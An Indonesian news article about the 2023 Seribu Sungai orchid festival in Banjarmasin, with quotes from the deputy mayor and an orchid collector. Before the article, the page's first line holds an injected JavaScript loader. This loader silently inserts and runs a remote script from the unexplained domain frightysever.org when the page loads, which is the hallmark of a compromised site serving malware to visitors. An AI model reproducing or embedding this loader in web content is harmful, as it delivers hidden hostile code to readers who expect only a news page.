(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Festival Anggrek Seribu Sungai 2023 di Kampung Ketupat Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah kolektor dan pecinta anggrek berpartisipasi dalam Festival Anggrek Seribu Sungai 2023 tingkat nasional di Kota Banjarmasin, Kalimantan Selatan (Kalsel).

Berlangsung selama lima hari dari 20 hingga 24 September 2023, ratusan jenis tanaman anggrek dari anggrek hasil persilangan maupun anggrek asli dari hutan dipamerkan oleh peserta dari berbagai daerah di Kalsel.

Festival anggrek berlangsung di wisata Kampung Ketupat, Jalan Sungai Baru, Kecamatan Banjarmasin Tengah, Kota Banjarmasin.

Baca juga: Tiga Penjabat Bupati di Kalsel Dilantik, Resmi Pimpin HSS, Tapin, dan Tala

Wakil Wali Kota Banjarmasin Arifin Noor mengatakan, festival anggrek merupakan salah satu rangkaian peringatan Hari Jadi (Harjad) ke-497 Kota Banjarmasin.

Festival yang digelar Persatuan Anggrek Indonesia (PAI) Banjarmasin ini sebagai salah satu agenda Hari Ulang Tahun Kota Banjarmasin.

Melalui festival anggrek, Arifin berharap dapat menjadi edukasi bagi masyarakat Banjarmasin terutama bagi generasi muda agar lebih mengenal jenis keanekaragaman hayati yang ada di Kalsel.

Baca juga: Sekolah Kebangsaan Mafindo Banjarmasin Bekali Pemilih Pemula Penginderaan Hoaks Pemilu 2024

“Agar anggrek tetap dapat lestari hingga ke anak cucu nantinya, juga sebagai stimulus bagi para penggemar anggrek di Banjarmasin,” ungkap Arifin saat membuka festival, Rabu (20/9/2023) sore.

Arifin mengatakan di wilayah Kalsel sendiri terdapat 1.000 macam jenis anggrek, dan 7 diantaranya merupakan anggrek langka yang dilindungi.

“Yang dilindungi seperti anggrek tikus, anggrek bulan gajah, anggrek hitam, anggrek tanah kuning, dan anggrek tebu atau ratunya anggrek,” ujarnya.

Salah seorang kolektor yang mengikuti festival anggrek di Banjarmasin Masratna mengatakan sengaja membawa puluhan jenis anggrek dari tempat tinggalnya di Pelaihari, Kabupaten Tanah Laut (Tala), Kalsel.

Baca juga: Dimulai dari Masjid Jami Lasem, Wisata Masjid Bersejarah Nusantara Dikembangkan

Salah satu jenis anggrek yang ia bawa yaitu anggrek bulan hybrid dengan bunga berwarna pink keputih-putihan. Anggrek persilangan tersebut berhasil mendapat predikat juara 3 untuk kategori phalainopsis hybrid.

“Anggrek bulan hybrid ini dibudidayakan hasil persilangan, beda dengan spesies dari hutan asli,” ungkapnya.

Perempuan paruh baya ini mengaku perlu waktu delapan bulan untuk membudidaya anggrek dari awal sampai tumbuh besar dan berbunga.

Selain sebagai penkoleksi anggrek, Masratna juga menjual berbagai jenis anggrek di kediamannya di jalan KH A Nawawi, Kecamatan Pelaihari, Tala.

Baca juga: MNCTV Tayangkan Pertandingan Voli Putra Asian Games 2023

“Harganya beragam, kalau jenis bulan hybrid ada Rp130 setangkai dan Rp170 untuk yang besar,” katanya.

Ia juga mengaku tergabung dalam komunitas pecinta anggrek dan rutin mengikuti pameran anggrek yang diadakan setiap tajun diberbagai daerah di Kalsel.

“Awal Desember nanti ada lagi pameran di Tanah Laut,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.